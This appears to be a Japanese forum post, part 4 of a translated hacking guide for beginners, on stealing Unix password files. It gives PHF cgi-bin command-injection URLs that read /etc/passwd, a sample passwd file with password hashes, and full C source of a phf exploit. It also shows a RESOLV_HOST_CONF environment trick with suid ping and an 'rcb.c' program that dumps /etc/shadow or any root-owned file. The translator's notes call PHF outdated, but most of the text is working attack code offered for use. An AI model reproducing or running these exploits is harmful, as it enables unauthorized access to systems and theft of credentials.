お子様 UNIX 第4部


 投稿者:soujinin  投稿日:03月09日(月)

   ====================   お子様 UNIX   第4部  =======================

--------------------------------------
第3章  パスワードファイルを手に入れる
Chapter III
Getting passwd files
--------------------------------------
unix システムからパスワードファイルを手に入れるには、いくつかの方法がある。
ほとんどの場合、アカウントが必要だ。しかしアカウントなしにアクセスする方法
もある。ここで通常の passwd ファイルと shadow passwd ファイルの違いを学ば
なければいけない。また、shadow passwd を読む方法も知っておかなければなら
ない。

---------------------
セクション3A PHF
Section 3A
PHF WWW PH Query
---------------------
これは WWW cgi-bin ディレクトリにある phf と呼ばれるプログラムだ。これには
ブラウザでアクセスできる。これでシステムファイルを読む事ができ、それを保存
できる。(例えば /etc/passwd)

もしサーバーが httpd を root で稼動していたら、phf を使ってパスワードを変え
ることさへできる。....


  //   [訳注]
  //   pfh はあまりに有名になっているので省略します。まず使えないように
  //   なっているか、警告のメッセージでひやっとさせられるのがオチだからです。
  //   その上、phf_abuse.log に finger されたアナタが記録されるかも知れません。
  //   以下にダイジェストで載せておきます。(がっかりした?)


ブラウザで、http://xxx.org/cgi-bin/phf/?Qalias=x%0aid

これは、httpd の稼働id を表示する。phf が働いていれば、次のような
反応がある。

   /usr/local/bin/ph -m alias=x id
uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)

これで、user=nobody で動いていることがわかる。
パスワードファイルを cat するには、

http://xxx.org/cgi-bin/phf/?Qalias=x%0acat%20/etc/passwd

   /usr/local/bin/ph -m alias=x cat /etc/passwd

これで手に入った。

root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:-2:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
guest:*:405:100:guest:/dev/null:/dev/null
bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash
web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash
mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash

小さなパスワードファイルだ。ここでいくつかを学ぼう。

mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
1   :2            :3  :4  :5             :6         :7

1=ユーザー名 2=暗号化パスワード 3=ユーザー番号(uid) 4=グループ番号(gid)
5=本名 (real name) 6=ホームディレクトリ 7=シェル (*x)

ブラウザを使いたくないなら、ここにスクリプトがある。これをコンパイルして
シェルから動かす。

phf.c
------ cut here----
/* Some small changes for efficiency by snocrash. */
/*
 * cgi-bin phf exploit by loxsmith [xf]
 *
 * I wrote this in C because not every system is going to have lynx.  Also,
 * this saves the time it usually takes to remember the syntatical format
 * of the exploit.  Because of the host lookup mess, this will take
 * approximately 12 seconds to execute with average network load.  Be patient.
 *
 */
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>

int main(argc, argv)
     int argc;
     char **argv;
{
     int i = 0, s, port, bytes = 128;
     char exploit[0xff], buffer[128], hostname[256], *command, j[2];
     struct sockaddr_in sin;
     struct hostent *he;

     if (argc != 3 && argc != 4) {
          fprintf(stderr, "Usage: %s command hostname [port]", argv[0]);
          exit(1);
     }

     command = (char *)malloc(strlen(argv[1]) * 2);

     while (argv[1][i] != '\0') {
          if (argv[1][i] == 32) strcat(command, "%20"); else {
               sprintf(j, "%c", argv[1][i]);
               strcat(command, j);
          }
          ++i;
     }

     strcpy(hostname, argv[2]);
     if (argc == 4) port = atoi(argv[3]); else port = 80;

     if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) {
          he = gethostbyname(hostname);
          if (he) {
               sin.sin_family = he->h_addrtype;
               memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0], 
                      he->h_length);
          } else {
               fprintf(stderr, "%s: unknown host %s\n", argv[0], hostname);
               exit(1);
          }
     }
     sin.sin_family = AF_INET;
     sin.sin_port = htons((u_short) port);

     if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) {
          fprintf(stderr, "%s: could not get socket\n", argv[0]);
          exit(1);
     }

     if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
          close(s);
          fprintf(stderr, "%s: could not establish connection\n", argv[0]);
          exit(1);
     }

     sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X%%0a%s\n", command);
     free(command);
     write(s, exploit, strlen(exploit));
     while(bytes == 128) {
          bytes = read(s, buffer, 128);
          fprintf(stdout, buffer);
     }
     close(s);
}
-------- cut here
このように使う。
bash% phf id xxx.org
------
<H1>Query Results</H1>
<P>
/usr/local/bin/ph -m  alias=X
id
<PRE>
uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)
</GET /cgi-bin/phf/?Qalias=X%0aid
------
コマンドのに %codes を使うことを忘れないように。パスワードを cat するには
このようにする。
phf cat%20/etc/passwd hostname.xxx

-------------------------
セクション3 ニュービー
Section 3B
Newbe's
-------------------------
パスワードを手に入れる別の場所もある。このガイドのセクション2Bを思い出す。
君のまぬけな友達に、君のずるいアイデアを使う。
このマニュアルを読む前なら、君もまぬけになれたのだが...

-----------------------------------------------
セクション 3C シャドウパスワードを手に入れる
Section 3C 
Getting shadow passwd files
-----------------------------------------------
シャドウパスワードとは何か。次を見てみよう。

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
man:x:13:15:man:/usr/man:
postmaster:x:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:x:-2:100:nobody:/dev/null:
ftp:x:404:1::/home/ftp:/bin/bash
guest:x:405:100:guest:/dev/null:/dev/null
bhilton:x:501:100:Bob Hilton:/home/bhilton:/bin/bash
web:x:502:100:Web Master:/home/web:/bin/bash
mary:x:503:100:Mary C. Hilton:/home/mary:/bin/bash


何かが違う?  そう、暗号化されたパスワードがない。もし、root になれたら、
暗号化されたパスワードは /etc/shadow で見れる。管理者がこれを奇妙なディ
レクトリに置いていることがある。しかしほとんどは /etc で見つかる。
他のシャドウパスワードでは master.passwd となることがある。しかし、root 
を取れば見て回る事ができる。マシンのアカウントを持ち、まだ root にアクセ
スできていないとしよう。libc 5.4.7 (まだ多く使われている)を使っていれば、
問題ない。また、多くの suid プログラムも使える。
 ping, traceroute, rlogin, ssh  ...  など。

  1. bash あるいは sh とタイプして bash をスタートする。
  2. export RESOLV_HOST_CONF=/etc/shadow をタイプ。
  3. 上記コマンドと一緒に asdf をタイプする。例えばこのように。

     ping asdf

うまくいけば、シャドウパスワードを表示する。
Note: /etc/shadow を他の root が所有するファイルに置く変える事ができる。
ここにどんなファイルでも表示する簡単なプログラムがある。
rcb.c
-------- cut here
/* RCB Phraser - therapy in '96
 * Limits: Linux only, no binary files.
 * little personal message to the world: FUCK CENSORSHIP!
 */

#include <stdio.h>

void getjunk(const char *filetocat)
{ setenv("RESOLV_HOST_CONF",filetocat,1);
  system("ping xy 1> /dev/null 2> phrasing");
  unsetenv("RESOLV_HOST_CONF");
}

void main(argc,argv)
int argc; char **argv;
{ char buffer[200];
  char *gag;
  FILE *devel;
  
  if((argc==1) || !(strcmp(argv[1],"-h")) || !(strcmp(argv[1],"--help")))
  { printf("RCB Phraser - junked by THERAPY\n\n");
    printf("Usage: %s [NO OPTIONS] [FILE to cat]\n\n",argv[0]);
    exit(1);
  }
  getjunk(argv[1]);
  gag=buffer;
  gag+=10;
  devel=fopen("phrasing","rb");
  while(!feof(devel))
  { fgets(buffer,sizeof(buffer),devel);
    if(strlen(buffer)>24)
    { strcpy(buffer+strlen(buffer)-24,"\n");
      fputs(gag,stdout);
    }
  }
  fclose(devel);
  remove("phrasing");
}
-------------- cut here
使い方:
コマンドラインから  rcb /etc/shadow(あるいは他の読めないファイル)

----------------------------------------
セクション 3D /etc/hosts を手に入れる
Section 3D
Getting /etc/hosts
----------------------------------------
用心のために、どのシステムが hosts ファイルにあるか、システムの
ip アドレスや異なるドメイン名は何か、/etc/hosts を cat して確かめる。
後で必要になるかも知れない。

            ------------------------------------------------

[訳者後記]
PHF については、今さらコメントしませんが...夢のコマンドでした。
あ、いや、夢のコマンドだったと、聞いています。
さあ、どうでした。/etc/shadow に export なんか許してもらえましたか?
え、もらえた。それでは早く管理者のところへ行って、
「お前ら、ちゃんと仕事しろ!」  と言いましょう。
考えてみれば、shadow なんて root のおまけですから、それよりも messages あたり
を見た方が良い事があるかも知れませんねぇ。いずれにせよ、ちゃんとしたパスワー
ドをつけていれば、そう簡単にクラックなんかできません。root のアカウントをクラ
ックできたら......  そう、やっぱり、管理者のところに行って、
「お前ら、ちゃんと仕事しろ!」  と言いましょう....